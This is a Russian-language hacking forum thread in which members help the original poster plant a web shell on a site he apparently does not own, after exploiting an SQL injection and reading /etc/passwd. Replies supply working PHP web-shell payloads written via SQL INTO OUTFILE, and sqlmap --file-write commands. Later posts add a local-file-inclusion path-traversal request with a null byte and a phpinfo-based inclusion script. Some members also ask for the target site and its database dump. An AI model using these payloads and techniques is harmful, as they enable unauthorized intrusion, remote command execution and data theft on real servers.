Помогите с заливкой шелла.

Discussion in 'Песочница' started by RWD, 14 Sep 2013.

  1. RWD

    RWD Member

    Joined:
    25 Apr 2013
    Messages:
    157
    Likes Received:
    41
    Reputations:
    2
    Добрый день.
    Есть сайт с ошибкой
    Warning: mysql_fetch_assoc(): supplied argument is not a valid MySQL result resource in var\www\core\mods\groups\deletegroup.php on line 20
    Как залить шелл, есть пути и file priv Y ?
    CURRENT USER -ROOT
     
  2. VY_CMa

    VY_CMa Green member

    Joined:
    6 Jan 2012
    Messages:
    917
    Likes Received:
    492
    Reputations:
    724
    Основные способы:
    1) Использовать юзер-функции
    2) INTO [DUMPFILE|OUTFILE]
     
    _________________________
  3. qaz

    qaz Elder - Старейшина

    Joined:
    12 Jul 2010
    Messages:
    1,551
    Likes Received:
    173
    Reputations:
    75
    PHP:
    select '<?php eval(base64_decode($_REQUEST[cmd])); ?>' into outfile 'полный путь к папкам/shell.php'
     
  4. Империал

    Joined:
    11 Mar 2010
    Messages:
    1,224
    Likes Received:
    58
    Reputations:
    1
    Ты сайт выложи сюда ;)
     
  5. RWD

    RWD Member

    Joined:
    25 Apr 2013
    Messages:
    157
    Likes Received:
    41
    Reputations:
    2
    Вообщем смог раскрутить через sqlmap, есть доступ к базе, насчет прав - пишет root@localhost. права на чтение и запись есть.функция load_file работает, получилось получить файл "/etc/passwd
    Ну вот пытаюсь залить через sqlmap командой --file-write="C:\путь\тут php файл <?php eval($_GET[cmd]); ?>" --file-dest="путь"
    выдает мне такое [​IMG]
     
    #5 RWD, 14 Sep 2013
    Last edited: 14 Sep 2013
  6. qaz

    qaz Elder - Старейшина

    Joined:
    12 Jul 2010
    Messages:
    1,551
    Likes Received:
    173
    Reputations:
    75
    на папке прав на запись в папке, ищи другую
     
  7. RWD

    RWD Member

    Joined:
    25 Apr 2013
    Messages:
    157
    Likes Received:
    41
    Reputations:
    2
    Да вот странно имею такие привилегии [​IMG]
    А залить даже в temp не могу
     
  8. qaz

    qaz Elder - Старейшина

    Joined:
    12 Jul 2010
    Messages:
    1,551
    Likes Received:
    173
    Reputations:
    75
    какие такие? у тебя рут права только в майскул, в фс они отношения не имеют
     
  9. Konqi

    Konqi Green member

    Joined:
    24 Jun 2009
    Messages:
    2,251
    Likes Received:
    1,149
    Reputations:
    886
    может знаний не хватает? раз софтом пытаешься шелл залить..

    хватит флудить, есть статья от нолика, начни оттуда,а эта тема обсуждалась тут со времен динозавров.
     
    _________________________
  10. Империал

    Joined:
    11 Mar 2010
    Messages:
    1,224
    Likes Received:
    58
    Reputations:
    1
    ТС, можешь сделать дамп БД?
    И что за сайт то?
     
  11. m00c0w

    m00c0w Banned

    Joined:
    25 Dec 2011
    Messages:
    104
    Likes Received:
    14
    Reputations:
    5
    база на том же сервере? файлы читать можешь? Прочитай хотябы тот файл где ошибку показывает. Ну или конфиг апач\нжнкс \ етк посомтри, или hosts

    Если все ок, ищи диру под запись.
     
    #11 m00c0w, 15 Sep 2013
    Last edited: 15 Sep 2013
  12. RWD

    RWD Member

    Joined:
    25 Apr 2013
    Messages:
    157
    Likes Received:
    41
    Reputations:
    2
    Файлы читаются. Файл с ошибкой читается.
     
  13. Sat-hacker

    Sat-hacker New Member

    Joined:
    19 May 2012
    Messages:
    98
    Likes Received:
    0
    Reputations:
    -10
    --file-write="C:\путь\тут php файл <?php eval($_GET[cmd]); ?>"
    Что за путь здесь нужно указывать?


    --file-dest="путь" здесь я так понял путь к файлам сайта
     
  14. m00c0w

    m00c0w Banned

    Joined:
    25 Dec 2011
    Messages:
    104
    Likes Received:
    14
    Reputations:
    5
    Ручками залей уже

    vuln=1 limit 1 into outfile '/PathToShell/filename.php' lines terminated by "<?php system($_GET[c]);?>"--+
    или
    vuln=1 limit 1 into outfile ''/PathToShell/filename.php' fields terminated by '' optionally enclosed by "<?php system($_GET[c]);die();?>"--+​

    2 Sat-hacker
    вобщемта тут и понимать нечего -hh опция все покажет. :)

    --file-write=WFILE Write a local file on the back-end DBMS file system
    --file-dest=DFILE Back-end DBMS absolute filepath to write to
     
    #14 m00c0w, 15 Sep 2013
    Last edited: 15 Sep 2013
  15. psihoz26

    psihoz26 Members of Antichat

    Joined:
    22 Nov 2010
    Messages:
    545
    Likes Received:
    159
    Reputations:
    324
    решил попробовать заюзать lfi найденный не так давно на неком сайте
    оказалось что картинки подгрузить нельзя а другими путями я ниразу не ходил
    есть доступ к phpinfo и php.ini
    подскажите хороший мануал =(
     
  16. nikp

    nikp Banned

    Joined:
    19 Sep 2008
    Messages:
    328
    Likes Received:
    591
    Reputations:
    764
    Классика https://rdot.org/forum/showthread.php?t=1134&highlight=phpinfo
     
    1 person likes this.
  17. psihoz26

    psihoz26 Members of Antichat

    Joined:
    22 Nov 2010
    Messages:
    545
    Likes Received:
    159
    Reputations:
    324
    заюзал скрипт и при инклуде у меня пустая страничка


    perl lfi.pl httр//site.com/i.php httр://www.site.com/index.php?page=../../../../../../../../../../../../../../etc/passwd%00

    как только скрипт выполняется я копирую имя файла tmp/******
    и инклужу
    http://www.site.com/index.php?page=../../../../../../../../../../../../../../tmp/******%00

    что может быть не так?? в скрипте ничего менять не надо??
     
  18. Sat-hacker

    Sat-hacker New Member

    Joined:
    19 May 2012
    Messages:
    98
    Likes Received:
    0
    Reputations:
    -10
    Я это читал но не могу вкурить,обьясните если можна
     
  19. RWD

    RWD Member

    Joined:
    25 Apr 2013
    Messages:
    157
    Likes Received:
    41
    Reputations:
    2
    В sqlmap --file-write="C:\shell.php" sqlmap берет шелл куда ты его положил на своем жд, --file-dest="/var/www/html/site.com" это куда sqlmap будет копировать файл шелла на сервере, при условии что есть права на запись файла.
    К примеру так.
    python sqlmap.py -u "http://dcsdcsdcds.com/index.php?id=12
    --random-agent --file-write="C:\sqlmap\shell.php" --file-dest="var/www/html/dcsdcsdcds.com/images/"
     
    #19 RWD, 17 Sep 2013
    Last edited: 17 Sep 2013
  20. m00c0w

    m00c0w Banned

    Joined:
    25 Dec 2011
    Messages:
    104
    Likes Received:
    14
    Reputations:
    5
    товарищи, кто нибудь использует сокращение команд? :) -z. Удобно же.
     
Loading...